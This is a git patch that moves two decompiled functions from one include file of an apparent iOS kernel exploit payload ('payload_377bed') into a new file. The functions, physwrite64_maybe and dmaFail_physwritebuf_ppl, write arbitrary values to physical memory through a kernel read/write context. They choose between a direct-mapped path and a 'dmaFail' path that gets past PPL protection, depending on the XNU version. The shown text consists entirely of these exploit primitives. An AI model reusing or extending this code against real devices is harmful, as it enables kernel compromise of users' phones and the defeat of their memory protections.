From 127308eda87406cf372e1721f545403983d9bfed Mon Sep 17 00:00:00 2001
From: khanhduytran0 <khanhduytran0@users.noreply.github.com>
Date: Tue, 16 Jun 2026 14:17:20 +0700
Subject: [PATCH] Split dmaFail PPL write include

---
 .../entry1_type0x09_dmafail_ppl.inc           | 52 +++++++++++++++++++
 .../entry1_type0x09_dmafail_write.inc         | 52 +------------------
 2 files changed, 53 insertions(+), 51 deletions(-)
 create mode 100644 src/payload_377bed/entry1_type0x09_dmafail_ppl.inc

diff --git a/src/payload_377bed/entry1_type0x09_dmafail_ppl.inc b/src/payload_377bed/entry1_type0x09_dmafail_ppl.inc
new file mode 100644
index 0000000..e808316
--- /dev/null
+++ b/src/payload_377bed/entry1_type0x09_dmafail_ppl.inc
@@ -0,0 +1,52 @@
+//----- (000000000002B464) ----------------------------------------------------
+__int64 __fastcall physwrite64_maybe(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 value_1)
+{
+  __int64 value; // [xsp+8h] [xbp-8h] BYREF
+
+  value = value_1;
+  if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (krwCtx->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
+    return physwritebuf_direct_mapped(krwCtx, paddr, &value, 8u, 0);
+  else
+    return dmaFail_physwritebuf_ppl(krwCtx, paddr, &value, 8u);
+}
+
+//----- (000000000002B4C8) ----------------------------------------------------
+__int64 __fastcall dmaFail_physwritebuf_ppl(struct_krwCtx *krwCtx, __int64 paddr, uint64_t *data, unsigned int size)
+{
+  vm_size_t v4; // x19
+  __int64 result; // x0
+  vm_size_t v9; // x23
+  __int64 v10; // x8
+  void *v11; // x1
+  void *__dst; // [xsp+8h] [xbp-38h] BYREF
+
+  __dst = 0;
+  v4 = vm_page_size;
+  if ( paddr + (unsigned __int64)size > (-(__int64)vm_page_size & paddr) + vm_page_size )
+    return 708609;
+  v9 = vm_page_mask;
+  result = physmap_maybe(krwCtx, (vm_address_t *)&__dst, vm_page_size, paddr);
+  if ( !(uint32_t)result )
+  {
+    v10 = v9 & paddr;
+    if ( size == 8 )
+    {
+      v11 = __dst;
+      *(uint64_t *)((char *)__dst + v10) = *data;
+    }
+    else if ( size == 4 )
+    {
+      v11 = __dst;
+      *(uint32_t *)((char *)__dst + v10) = *(uint32_t *)data;
+    }
+    else
+    {
+      memcpy(__dst, data, size);
+      v11 = __dst;
+    }
+    vm_deallocate(mach_task_self_, (vm_address_t)v11, v4);
+    return 0;
+  }
+  return result;
+}
+
diff --git a/src/payload_377bed/entry1_type0x09_dmafail_write.inc b/src/payload_377bed/entry1_type0x09_dmafail_write.inc
index 058131d..4ad9f43 100644
--- a/src/payload_377bed/entry1_type0x09_dmafail_write.inc
+++ b/src/payload_377bed/entry1_type0x09_dmafail_write.inc
@@ -6904,57 +6904,7 @@ kern_return_t ioconnect_struct_method_kwrite(struct_krwCtx *krwCtx, uint64_t vad
 // 2B418: variable 'v25' is possibly undefined
 // 2B450: variable 'v26' is possibly undefined
 
-//----- (000000000002B464) ----------------------------------------------------
-__int64 __fastcall physwrite64_maybe(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 value_1)
-{
-  __int64 value; // [xsp+8h] [xbp-8h] BYREF
-
-  value = value_1;
-  if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (krwCtx->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
-    return physwritebuf_direct_mapped(krwCtx, paddr, &value, 8u, 0);
-  else
-    return dmaFail_physwritebuf_ppl(krwCtx, paddr, &value, 8u);
-}
-
-//----- (000000000002B4C8) ----------------------------------------------------
-__int64 __fastcall dmaFail_physwritebuf_ppl(struct_krwCtx *krwCtx, __int64 paddr, uint64_t *data, unsigned int size)
-{
-  vm_size_t v4; // x19
-  __int64 result; // x0
-  vm_size_t v9; // x23
-  __int64 v10; // x8
-  void *v11; // x1
-  void *__dst; // [xsp+8h] [xbp-38h] BYREF
-
-  __dst = 0;
-  v4 = vm_page_size;
-  if ( paddr + (unsigned __int64)size > (-(__int64)vm_page_size & paddr) + vm_page_size )
-    return 708609;
-  v9 = vm_page_mask;
-  result = physmap_maybe(krwCtx, (vm_address_t *)&__dst, vm_page_size, paddr);
-  if ( !(uint32_t)result )
-  {
-    v10 = v9 & paddr;
-    if ( size == 8 )
-    {
-      v11 = __dst;
-      *(uint64_t *)((char *)__dst + v10) = *data;
-    }
-    else if ( size == 4 )
-    {
-      v11 = __dst;
-      *(uint32_t *)((char *)__dst + v10) = *(uint32_t *)data;
-    }
-    else
-    {
-      memcpy(__dst, data, size);
-      v11 = __dst;
-    }
-    vm_deallocate(mach_task_self_, (vm_address_t)v11, v4);
-    return 0;
-  }
-  return result;
-}
+#include "entry1_type0x09_dmafail_ppl.inc"
 
 //----- (000000000002B5BC) ----------------------------------------------------
 __int64 __fastcall necp_ioservice_auth_write(struct_krwCtx *krwCtx, __int64 a2)